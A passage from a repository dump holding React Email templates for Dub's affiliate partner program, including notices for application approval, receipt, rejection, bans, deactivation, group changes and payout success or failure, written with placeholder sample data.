null;\n    slug: string;\n  };\n  partner: {\n    name: string;\n    email: string;\n    payoutsEnabled: boolean;\n  };\n  rewards?: { icon: string; label: string }[] | null;\n  bounties?: { icon: string; label: string }[] | null;\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>\n        Your application to join {program.name}'s partner program has been\n        approved!\n      </Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img\n                src={program.logo || \"https://assets.dub.co/wordmark.png\"}\n                height=\"32\"\n                alt={program.name}\n              />\n            </Section>\n\n            <Heading className=\"mx-0 my-7 p-0 text-lg font-medium text-black\">\n              Congratulations, {partner.name}!\n            </Heading>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              Your application to join <strong>{program.name}'s</strong> partner\n              program has been approved. You can now promote their products and\n              earn commissions.\n            </Text>\n\n            {Boolean(rewards?.length || bounties?.length) && (\n              <Section className=\"my-4 rounded-xl border border-solid border-neutral-200 bg-neutral-50 px-5 py-4\">\n                {rewards && Boolean(rewards.length) && (\n                  <>\n                    <Text className=\"my-0 text-base font-semibold text-black\">\n                      Rewards\n                    </Text>\n                    {rewards.map((reward) => (\n                      <Row key={reward.label} className=\"mb-0 mt-2\">\n                        <Column className=\"align-center\">\n                          <Img src={reward.icon} height=\"16\" alt=\"\" />\n                        </Column>\n                        <Column className=\"w-full pl-2\">\n                          <Text className=\"my-0 text-sm font-medium text-neutral-600\">\n                            {reward.label}\n                          </Text>\n                        </Column>\n                      </Row>\n                    ))}\n                  </>\n                )}\n                {bounties && Boolean(bounties.length) && (\n                  <>\n                    <Text\n                      className={`mb-0 text-base font-semibold text-black ${rewards?.length ? \"mt-5\" : \"mt-0\"}`}\n                    >\n                      Bounties\n                    </Text>\n                    {bounties.map((bounty) => (\n                      <Row key={bounty.label} className=\"mb-0 mt-2\">\n                        <Column className=\"align-center\">\n                          <Img src={bounty.icon} height=\"16\" alt=\"\" />\n                        </Column>\n                        <Column className=\"w-full pl-2\">\n                          <Text className=\"my-0 text-sm font-medium text-neutral-600\">\n                            {bounty.label}\n                          </Text>\n                        </Column>\n                      </Row>\n                    ))}\n                  </>\n                )}\n              </Section>\n            )}\n\n            <Hr className=\"my-6 border-neutral-200\" />\n\n            <Heading className=\"mx-0 mb-2 p-0 text-base font-medium text-black\">\n              Getting Started\n            </Heading>\n\n            <Text className=\"ml-1 text-sm leading-5 text-black\">\n              1. Find your unique referral links in the{\" \"}\n              <Link\n                href={`https://partners.dub.co/programs/${program.slug}/links`}\n                className=\"font-semibold text-black underline\"\n              >\n                Links\n              </Link>{\" \"}\n              section.\n            </Text>\n\n            <Text className=\"ml-1 text-sm leading-5 text-black\">\n              2. Share your referral links on your website, blog, social media,\n              or email newsletters.\n            </Text>\n\n            <Text className=\"ml-1 text-sm leading-5 text-black\">\n              3. Track your{\" \"}\n              <Link\n                href={`https://partners.dub.co/programs/${program.slug}`}\n                className=\"font-semibold text-black underline\"\n              >\n                link performance\n              </Link>{\" \"}\n              and{\" \"}\n              <Link\n                href={`https://partners.dub.co/programs/${program.slug}/earnings`}\n                className=\"font-semibold text-black underline\"\n              >\n                earnings\n              </Link>{\" \"}\n              in real-time.\n            </Text>\n\n            <Text className=\"ml-1 text-sm leading-5 text-black\">\n              4. Learn how to{\" \"}\n              <Link\n                href=\"https://dub.co/help/article/navigating-partner-program\"\n                className=\"font-semibold text-black underline\"\n              >\n                navigate the program dashboard\n              </Link>{\" \"}\n              and get the most out of your program.\n            </Text>\n\n            {!partner.payoutsEnabled && (\n              <Text className=\"ml-1 text-sm leading-5 text-black\">\n                5. Connect your Stripe account to{\" \"}\n                <Link\n                  href=\"https://dub.co/help/article/receiving-payouts\"\n                  className=\"font-semibold text-black underline\"\n                >\n                  enable payouts\n                </Link>\n                .\n              </Text>\n            )}\n\n            <Hr className=\"my-6 border-neutral-200\" />\n\n            <Section className=\"mb-8 mt-8\">\n              <Link\n                className=\"rounded-lg bg-neutral-900 px-6 py-3 text-[13px] font-semibold text-white no-underline\"\n                href={`https://partners.dub.co/programs/${program.slug}`}\n              >\n                Go to your dashboard\n              </Link>\n            </Section>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              If you have any questions about the program please don't hesitate\n              to{\" \"}\n              <Link\n                href={`https://partners.dub.co/messages/${program.slug}`}\n                className=\"font-semibold text-neutral-700 underline underline-offset-2\"\n              >\n                reach out to the {program.name} team ↗\n              </Link>\n              .\n            </Text>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              We're excited to have you as a partner and look forward to your\n              success!\n            </Text>\n\n            <Footer\n              email={partner.email}\n              notificationSettingsUrl=\"https://partners.dub.co/profile/notifications\"\n            />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/partner-application-received.tsx",
    "content": "import { DUB_WORDMARK, OG_AVATAR_URL } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function PartnerApplicationReceived({\n  email = \"panic@thedis.co\",\n  partner = {\n    id: \"pn_1JPBEGP7EXF76CXT1W99VERW5\",\n    name: \"John Doe\",\n    email: \"john@example.com\",\n    image:\n      \"https://www.gravatar.com/avatar/2c7d99fe281ecd3bcd65ab915bac6dd5?s=250\",\n    country: \"US\",\n    applicationFormData: [\n      {\n        title: \"How do you plan to promote Acme?\",\n        value:\n          \"This is a text field the applicant can fill out with details about the question asked above.\",\n      },\n      {\n        title: \"Any additional questions or comments?\",\n        value:\n          \"This is a text field the applicant can fill out with details about the question asked above.\",\n      },\n    ],\n  },\n  program = {\n    name: \"Acme\",\n    autoApprovePartners: true,\n  },\n  workspace = {\n    slug: \"acme\",\n  },\n}: {\n  email: string;\n  partner: {\n    id: string;\n    name: string;\n    email: string;\n    image: string | null;\n    country: string | null;\n    applicationFormData: { title: string; value: string }[];\n  };\n  program: {\n    name: string;\n    autoApprovePartners: boolean;\n  };\n  workspace: {\n    slug: string;\n  };\n}) {\n  const applicationUrl = `https://app.dub.co/${workspace.slug}/program/partners/applications?partnerId=${partner.id}`;\n\n  return (\n    <Html>\n      <Head />\n      <Preview>\n        {partner.name} ({partner.email}) just applied to your partner program,{\" \"}\n        {program.name}. Review their application below.\n      </Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mb-8 mt-6\">\n              <Img src={DUB_WORDMARK} width=\"61\" height=\"32\" alt=\"dub\" />\n            </Section>\n\n            <Heading className=\"mx-0 p-0 text-lg font-medium text-neutral-800\">\n              New partner application for {program.name}\n            </Heading>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              Your program <strong>{program.name}</strong> just received a new\n              application from <strong>{partner.name}</strong> ({partner.email}\n              ). You can view it below or{\" \"}\n              <Link\n                href={applicationUrl}\n                className=\"text-neutral-600 underline underline-offset-4\"\n              >\n                review on Dub\n              </Link>\n              .\n            </Text>\n\n            {program.autoApprovePartners && (\n              <Text className=\"text-sm leading-6 text-neutral-600\">\n                Since you have auto-approve partners enabled, this application\n                will be <strong>automatically approved</strong> – no action is\n                needed on your part.\n              </Text>\n            )}\n\n            <Container className=\"mb-8 mt-10 rounded-lg border border-solid border-neutral-200\">\n              <Section className=\"p-2\">\n                <Container className=\"mb-4 w-full rounded-lg border border-solid border-neutral-100 bg-neutral-50 p-6\">\n                  <div>\n                    <div className=\"relative w-fit\">\n                      <Img\n                        src={partner.image || `${OG_AVATAR_URL}${partner.id}`}\n                        width=\"48\"\n                        height=\"48\"\n                        alt={partner.id}\n                        className=\"rounded-full\"\n                      />\n\n                      {partner.country && (\n                        <div className=\"absolute -right-1 top-0 overflow-hidden rounded-full bg-neutral-50 p-0.5\">\n                          <Img\n                            src={`https://flag.vercel.app/m/${partner.country}.svg`}\n                            width=\"12\"\n                            height=\"12\"\n                            alt={partner.country}\n                            className=\"size-3 rounded-full\"\n                          />\n                        </div>\n                      )}\n                    </div>\n\n                    <div>\n                      <Text className=\"m-0 p-0 text-lg font-medium text-neutral-900\">\n                        {partner.name}\n                      </Text>\n                      <Text className=\"m-0 p-0 text-sm text-neutral-500\">\n                        {partner.email}\n                      </Text>\n                    </div>\n                  </div>\n                </Container>\n\n                <Section className=\"p-4\">\n                  {partner.applicationFormData.map((field) => (\n                    <Section key={field.title} className=\"mb-6\">\n                      <Text className=\"m-0 mb-2 p-0 text-base font-medium text-neutral-900\">\n                        {field.title}\n                      </Text>\n                      <Text className=\"m-0 p-0 leading-6 text-neutral-600\">\n                        {field.value}\n                      </Text>\n                    </Section>\n                  ))}\n                  <Section className=\"mt-8 text-center\">\n                    <Link\n                      href={applicationUrl}\n                      className=\"box-border block w-full rounded-lg bg-black px-0 py-4 text-center text-sm font-semibold leading-none text-white no-underline\"\n                    >\n                      Review application on Dub\n                    </Link>\n                  </Section>\n                </Section>\n              </Section>\n            </Container>\n\n            <Footer\n              email={email}\n              notificationSettingsUrl={`https://app.dub.co/${workspace.slug}/settings/notifications`}\n            />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/partner-application-rejected.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function PartnerApplicationRejected({\n  partner = {\n    name: \"John\",\n    email: \"panic@thedis.co\",\n  },\n  program = {\n    name: \"Acme\",\n    slug: \"acme\",\n    supportEmail: \"support@acme.com\",\n  },\n}: {\n  partner: {\n    name: string;\n    email: string;\n  };\n  program: {\n    name: string;\n    slug: string;\n    supportEmail?: string | null;\n  };\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>\n        {program.name} has rejected your application to join their partner\n        program\n      </Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mb-8 mt-6\">\n              <Img src={DUB_WORDMARK} width=\"61\" height=\"32\" alt=\"dub\" />\n            </Section>\n\n            <Heading className=\"mx-0 p-0 text-lg font-medium text-neutral-600\">\n              Hello {partner.name},\n            </Heading>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              Your application to join <strong>{program.name}'s</strong> partner\n              program has been rejected. You did not meet the program's\n              eligibility requirements.\n            </Text>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              You will be able to re-apply in 30 days.\n            </Text>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              {program.supportEmail ? (\n                <>\n                  If you have any questions, please{\" \"}\n                  <Link\n                    href={`mailto:${program.supportEmail}`}\n                    className=\"font-semibold text-neutral-700 underline underline-offset-2\"\n                  >\n                    reach out to the {program.name} team ↗\n                  </Link>\n                  .\n                </>\n              ) : (\n                <>\n                  If you have any questions, please contact the {program.name}{\" \"}\n                  team directly.\n                </>\n              )}\n            </Text>\n\n            <Footer email={partner.email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/partner-banned.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function PartnerBanned({\n  partner = {\n    name: \"John\",\n    email: \"panic@thedis.co\",\n  },\n  program = {\n    name: \"Acme\",\n    slug: \"acme\",\n  },\n  bannedReason = \"Terms of Service Violation\",\n}: {\n  partner: {\n    name: string;\n    email: string;\n  };\n  program: {\n    name: string;\n    slug: string;\n  };\n  bannedReason: string;\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>\n        {program.name} has banned you from their partner program for{\" \"}\n        {bannedReason}\n      </Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mb-8 mt-6\">\n              <Img src={DUB_WORDMARK} width=\"61\" height=\"32\" alt=\"dub\" />\n            </Section>\n\n            <Heading className=\"mx-0 p-0 text-lg font-medium text-neutral-600\">\n              Hello {partner.name},\n            </Heading>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              {program.name} has banned you from their partner program for{\" \"}\n              <strong>{bannedReason}</strong>.\n            </Text>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              All your links have been deactivated, and your pending commissions\n              have been canceled. You cannot apply to the {program.name} Partner\n              Program again.\n            </Text>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              If you have any questions, please{\" \"}\n              <Link\n                href={`https://partners.dub.co/messages/${program.slug}`}\n                className=\"font-semibold text-neutral-700 underline underline-offset-2\"\n              >\n                reach out to the {program.name} team ↗\n              </Link>\n              .\n            </Text>\n\n            <Footer email={partner.email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/partner-deactivated.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function PartnerDeactivated({\n  partner = {\n    name: \"John\",\n    email: \"panic@thedis.co\",\n  },\n  program = {\n    name: \"Acme\",\n    slug: \"acme\",\n  },\n  deactivatedReason,\n  programDeactivated,\n}: {\n  partner: {\n    name: string;\n    email: string;\n  };\n  program: {\n    name: string;\n    slug: string;\n  };\n  deactivatedReason?: string;\n  programDeactivated?: boolean;\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>\n        {programDeactivated\n          ? `${program.name} has deactivated their partner program.`\n          : `${program.name} has deactivated your partnership with their program.`}\n      </Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mb-8 mt-6\">\n              <Img src={DUB_WORDMARK} width=\"61\" height=\"32\" alt=\"dub\" />\n            </Section>\n\n            <Heading className=\"mx-0 p-0 text-lg font-medium text-neutral-600\">\n              {program.name} has deactivated{\" \"}\n              {programDeactivated ? \"their program\" : \"your partnership\"}\n            </Heading>\n\n            {programDeactivated ? (\n              <>\n                <Text className=\"text-sm leading-6 text-neutral-600\">\n                  We're reaching out to let you know that {program.name} has\n                  deactivated their partner program.\n                </Text>\n\n                <Text className=\"text-sm leading-6 text-neutral-600\">\n                  As a result, any {program.name} links you were sharing are now\n                  disabled and will no longer generate new commissions.\n                </Text>\n\n                <Text className=\"text-sm leading-6 text-neutral-600\">\n                  We recommend removing or replacing any {program.name} links\n                  you currently have live, since they will no longer be eligible\n                  for future commissions.\n                </Text>\n\n                <Text className=\"text-sm leading-6 text-neutral-600\">\n                  If you have questions about the program or your payouts,\n                  please{\" \"}\n                  <Link\n                    href={`https://partners.dub.co/messages/${program.slug}`}\n                    className=\"font-semibold text-neutral-700 underline underline-offset-2\"\n                  >\n                    reach out to the {program.name} team ↗\n                  </Link>\n                  .\n                </Text>\n              </>\n            ) : (\n              <>\n                <Text className=\"text-sm leading-6 text-neutral-600\">\n                  Hello {partner.name}, {program.name} has deactivated your\n                  partnership with their program\n                  {deactivatedReason ? (\n                    <span className=\"font-bold\">{` ${deactivatedReason}`}</span>\n                  ) : (\n                    \"\"\n                  )}\n                  .\n                </Text>\n\n                <Text className=\"text-sm leading-6 text-neutral-600\">\n                  All your links have been disabled, but your pending\n                  commissions and payouts will remain until they are approved\n                  and paid out by the {program.name} team.\n                </Text>\n\n                <Text className=\"text-sm leading-6 text-neutral-600\">\n                  If you have any questions, please{\" \"}\n                  <Link\n                    href={`https://partners.dub.co/messages/${program.slug}`}\n                    className=\"font-semibold text-neutral-700 underline underline-offset-2\"\n                  >\n                    reach out to the {program.name} team ↗\n                  </Link>\n                  .\n                </Text>\n              </>\n            )}\n\n            <Footer email={partner.email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/partner-group-changed.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Column,\n  Container,\n  Head,\n  Heading,\n  Hr,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Row,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function PartnerGroupChanged({\n  program = {\n    name: \"Acme\",\n    logo: DUB_WORDMARK,\n    slug: \"acme\",\n  },\n  partner = {\n    name: \"John Doe\",\n    email: \"panic@thedis.co\",\n  },\n  rewards = [\n    {\n      icon: \"https://assets.dub.co/email-assets/icons/invoice-dollar.png\",\n      label: \"Earn up to 65% per sale for 1 year\",\n    },\n    {\n      icon: \"https://assets.dub.co/email-assets/icons/gift.png\",\n      label: \"New users get 20% off for 3 months\",\n    },\n  ],\n  bounties = [\n    {\n      icon: \"https://assets.dub.co/email-assets/icons/heart.png\",\n      label: \"Create a YouTube video about Acme\",\n    },\n    {\n      icon: \"https://assets.dub.co/email-assets/icons/trophy.png\",\n      label: \"Earn $100 after generating $1,000 in revenue\",\n    },\n  ],\n}: {\n  program: {\n    name: string;\n    logo: string | null;\n    slug: string;\n  };\n  partner: {\n    name: string;\n    email: string;\n  };\n  rewards?: { icon: string; label: string }[] | null;\n  bounties?: { icon: string; label: string }[] | null;\n}) {\n  const shouldCollapseBounties = (bounties?.length ?? 0) > 3;\n  const visibleBounties = shouldCollapseBounties\n    ? bounties!.slice(0, 2)\n    : bounties;\n  const hiddenBountiesCount = shouldCollapseBounties ? bounties!.length - 2 : 0;\n\n  return (\n    <Html>\n      <Head />\n      <Preview>\n        You've been moved to a new partner group in {program.name}'s program!\n      </Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img\n                src={program.logo || \"https://assets.dub.co/wordmark.png\"}\n                height=\"32\"\n                alt={program.name}\n              />\n            </Section>\n\n            <Heading className=\"mx-0 my-7 p-0 text-lg font-medium text-black\">\n              Hi {partner.name}!\n            </Heading>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              You've been moved to a new partner group in{\" \"}\n              <strong>{program.name}'s</strong> partner program. Your rewards\n              and benefits have been updated.\n            </Text>\n\n            {Boolean(rewards?.length || bounties?.length) && (\n              <Section className=\"my-4 rounded-xl border border-solid border-neutral-200 bg-neutral-50 px-5 py-4\">\n                {rewards && Boolean(rewards.length) && (\n                  <>\n                    <Text className=\"my-0 text-base font-semibold text-black\">\n                      Your New Rewards\n                    </Text>\n                    {rewards.map((reward) => (\n                      <Row key={reward.label} className=\"mb-0 mt-2\">\n                        <Column className=\"align-center\">\n                          <Img src={reward.icon} height=\"16\" alt=\"\" />\n                        </Column>\n                        <Column className=\"w-full pl-2\">\n                          <Text className=\"my-0 text-sm font-medium text-neutral-600\">\n                            {reward.label}\n                          </Text>\n                        </Column>\n                      </Row>\n                    ))}\n                  </>\n                )}\n\n                {bounties && Boolean(bounties.length) && (\n                  <>\n                    <Text\n                      className={`mb-0 text-base font-semibold text-black ${rewards?.length ? \"mt-5\" : \"mt-0\"}`}\n                    >\n                      Eligible Bounties\n                    </Text>\n                    {visibleBounties?.map((bounty) => (\n                      <Row key={bounty.label} className=\"mb-0 mt-2\">\n                        <Column className=\"align-center\">\n                          <Img src={bounty.icon} height=\"16\" alt=\"\" />\n                        </Column>\n                        <Column className=\"w-full pl-2\">\n                          <Text className=\"my-0 text-sm font-medium text-neutral-600\">\n                            {bounty.label}\n                          </Text>\n                        </Column>\n                      </Row>\n                    ))}\n                    {shouldCollapseBounties && (\n                      <Text className=\"mb-0 mt-2 inline-block rounded-md bg-neutral-200 px-[6px] py-1 text-xs font-medium text-black\">\n                        Plus {hiddenBountiesCount} more\n                      </Text>\n                    )}\n                  </>\n                )}\n              </Section>\n            )}\n\n            <Hr className=\"my-6 border-neutral-200\" />\n\n            <Section className=\"mb-8 mt-8\">\n              <Link\n                className=\"rounded-lg bg-neutral-900 px-6 py-3 text-[13px] font-semibold text-white no-underline\"\n                href={`https://partners.dub.co/programs/${program.slug}`}\n              >\n                Go to your dashboard\n              </Link>\n            </Section>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              If you have any questions about your new group or rewards, please{\" \"}\n              <Link\n                href={`https://partners.dub.co/messages/${program.slug}`}\n                className=\"font-semibold text-neutral-700 underline underline-offset-2\"\n              >\n                reach out to the {program.name} team ↗\n              </Link>\n              .\n            </Text>\n\n            <Footer\n              email={partner.email}\n              notificationSettingsUrl=\"https://partners.dub.co/profile/notifications\"\n            />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/partner-payout-confirmed.tsx",
    "content": "import { currencyFormatter, DUB_WORDMARK, formatDate } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { addBusinessDays } from \"date-fns\";\nimport { Footer } from \"../components/footer\";\nimport { PartnerPayoutMethod } from \"../types\";\n\nconst PAYOUT_METHOD_LABELS: Record<PartnerPayoutMethod, string> = {\n  connect: \"Stripe Express\",\n  stablecoin: \"USDC wallet\",\n  paypal: \"PayPal\",\n} as const;\n\n// Send this email when the payout is confirmed when payment is send using ACH\nexport default function PartnerPayoutConfirmed({\n  email = \"panic@thedis.co\",\n  program = {\n    id: \"prog_CYCu7IMAapjkRpTnr8F1azjN\",\n    name: \"Acme\",\n    logo: DUB_WORDMARK,\n  },\n  payout = {\n    id: \"po_8VuCr2i7WnG65d4TNgZO19fT\",\n    amount: 490,\n    initiatedAt: new Date(\"2024-11-22\"),\n    startDate: new Date(\"2024-11-01\"),\n    endDate: new Date(\"2024-11-30\"),\n    mode: \"internal\",\n    paymentMethod: \"ach\",\n    payoutMethod: \"connect\",\n  },\n}: {\n  email: string;\n  program: {\n    id: string;\n    name: string;\n    logo: string | null;\n  };\n  payout: {\n    id: string;\n    amount: number;\n    initiatedAt: Date | null;\n    startDate?: Date | null;\n    endDate?: Date | null;\n    mode: \"internal\" | \"external\" | null;\n    paymentMethod: string;\n    payoutMethod: PartnerPayoutMethod | null;\n  };\n}) {\n  const payoutAmountInDollars = currencyFormatter(payout.amount);\n\n  const startDate = payout.startDate\n    ? formatDate(payout.startDate, {\n        year: \"numeric\",\n        month: \"short\",\n        day: \"numeric\",\n        timeZone: \"UTC\",\n      })\n    : null;\n\n  const endDate = payout.endDate\n    ? formatDate(payout.endDate, {\n        year: \"numeric\",\n        month: \"short\",\n        day: \"numeric\",\n        timeZone: \"UTC\",\n      })\n    : null;\n\n  const etaDays = payout.paymentMethod === \"ach_fast\" ? 2 : 5;\n\n  const payoutDestination =\n    payout.payoutMethod === null\n      ? `${program.name} account`\n      : PAYOUT_METHOD_LABELS[payout.payoutMethod];\n\n  return (\n    <Html>\n      <Head />\n      <Preview>\n        {program.name} has initiated a payout of {payoutAmountInDollars}\n        {startDate && endDate\n          ? ` for affiliate commissions made from ${startDate} to ${endDate}`\n          : \"\"}\n        .\n      </Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img\n                src={program.logo || \"https://assets.dub.co/wordmark.png\"}\n                height=\"32\"\n                alt={program.name}\n              />\n            </Section>\n\n            <Heading className=\"mx-0 my-7 p-0 text-lg font-medium text-black\">\n              Your payout is on the way!\n            </Heading>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              <strong className=\"text-black\">{program.name}</strong> has\n              initiated a payout of{\" \"}\n              <strong className=\"text-black\">{payoutAmountInDollars}</strong>\n              {startDate && endDate ? (\n                <>\n                  {\" \"}\n                  for affiliate commissions made from{\" \"}\n                  <strong className=\"text-black\">{startDate}</strong> to{\" \"}\n                  <strong className=\"text-black\">{endDate}</strong>\n                </>\n              ) : (\n                \"\"\n              )}\n              .\n            </Text>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              The payout is currently being processed and is expected to be\n              transferred to your{\" \"}\n              <strong className=\"text-black\">{payoutDestination}</strong>{\" \"}\n              account in{\" \"}\n              <strong className=\"text-black\">{etaDays} business days</strong>{\" \"}\n              (excluding weekends and public holidays).\n            </Text>\n\n            {payout.initiatedAt && (\n              <Text className=\"text-sm leading-6 text-neutral-600\">\n                <span className=\"text-sm text-neutral-500\">\n                  Estimated arrival date:{\" \"}\n                  <strong className=\"text-black\">\n                    {formatDate(addBusinessDays(payout.initiatedAt, etaDays))}\n                  </strong>\n                  .\n                </span>\n              </Text>\n            )}\n\n            <Section className=\"mb-12 mt-8\">\n              <Link\n                className=\"rounded-lg bg-neutral-900 px-4 py-3 text-[12px] font-semibold text-white no-underline\"\n                href={`https://partners.dub.co/payouts?payoutId=${payout.id}`}\n              >\n                View payout\n              </Link>\n            </Section>\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/partner-payout-failed.tsx",
    "content": "import { currencyFormatter, DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function PartnerPayoutFailed({\n  workspace = {\n    slug: \"acme\",\n  },\n  program = {\n    name: \"Acme\",\n  },\n  payout = {\n    amount: 530000,\n    method: \"card\",\n    // failureFee: 1000,\n    failureReason:\n      \"Your payment requires additional authentication to complete.\",\n    cardLast4: \"1234\",\n  },\n  email = \"panic@thedis.co\",\n}: {\n  workspace: {\n    slug: string;\n  };\n  program: {\n    name: string;\n  };\n  payout: {\n    amount: number; // in cents\n    method: \"card\" | \"direct_debit\";\n    failureReason?: string | null;\n    failureFee?: number; // in cents\n    cardLast4?: string;\n  };\n  email: string;\n}) {\n  const payoutAmount = currencyFormatter(payout.amount);\n  const payoutMethod = payout.method.replace(\"_\", \" \");\n\n  return (\n    <Html>\n      <Head />\n      <Preview>Partner payout failed</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-8 max-w-[600px] px-8 py-8\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n\n            <Heading className=\"mx-0 my-8 p-0 text-lg font-medium text-black\">\n              Partner payout failed\n            </Heading>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              Your recent partner payout of{\" \"}\n              <span className=\"font-semibold text-purple-600\">\n                {payoutAmount}\n              </span>{\" \"}\n              for your program{\" \"}\n              <span className=\"font-semibold text-purple-600\">\n                {program.name}\n              </span>{\" \"}\n              failed. The payouts have been reverted back to{\" \"}\n              <span className=\"font-semibold text-neutral-800\">Pending</span>{\" \"}\n              and will need to be confirmed again.\n            </Text>\n\n            {payout.failureReason && (\n              <Text className=\"text-sm leading-6 text-neutral-600\">\n                Reason:{\" \"}\n                <span className=\"font-semibold italic text-neutral-800\">\n                  {payout.failureReason}\n                </span>\n              </Text>\n            )}\n\n            {payout.failureFee && (\n              <Text className=\"text-sm leading-6 text-neutral-600\">\n                To cover the cost of the failed payout, we've charged a{\" \"}\n                <span className=\"font-semibold text-neutral-800\">\n                  {currencyFormatter(payout.failureFee)} payment failure fee\n                </span>\n                {payout.cardLast4 && (\n                  <>\n                    {\" \"}\n                    to your card ending in{\" \"}\n                    <span className=\"font-semibold text-purple-600\">\n                      {payout.cardLast4}\n                    </span>\n                  </>\n                )}\n                .\n              </Text>\n            )}\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              Please{\" \"}\n              <Link\n                href={`https://app.dub.co/${workspace.slug}/settings/billing`}\n                className=\"font-medium text-black underline\"\n              >\n                update your {payoutMethod} details\n              </Link>{\" \"}\n              at your earliest convenience and retry the payout from your{\" \"}\n              <Link\n                href=\"https://app.dub.co/program/payouts?status=pending\"\n                className=\"font-medium text-black underline\"\n              >\n                payouts tab\n              </Link>{\" \"}\n              to ensure that your partners are paid on time.\n            </Text>\n\n            <Section className=\"my-8\">\n              <Link\n                className=\"rounded-lg bg-neutral-900 px-6 py-3 text-[13px] font-medium text-white no-underline\"\n                href=\"https://app.dub.co/program/payouts?status=pending\"\n              >\n                Retry payout\n              </Link>\n            </Section>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              If you have any questions, just reply to this email.\n            </Text>\n\n            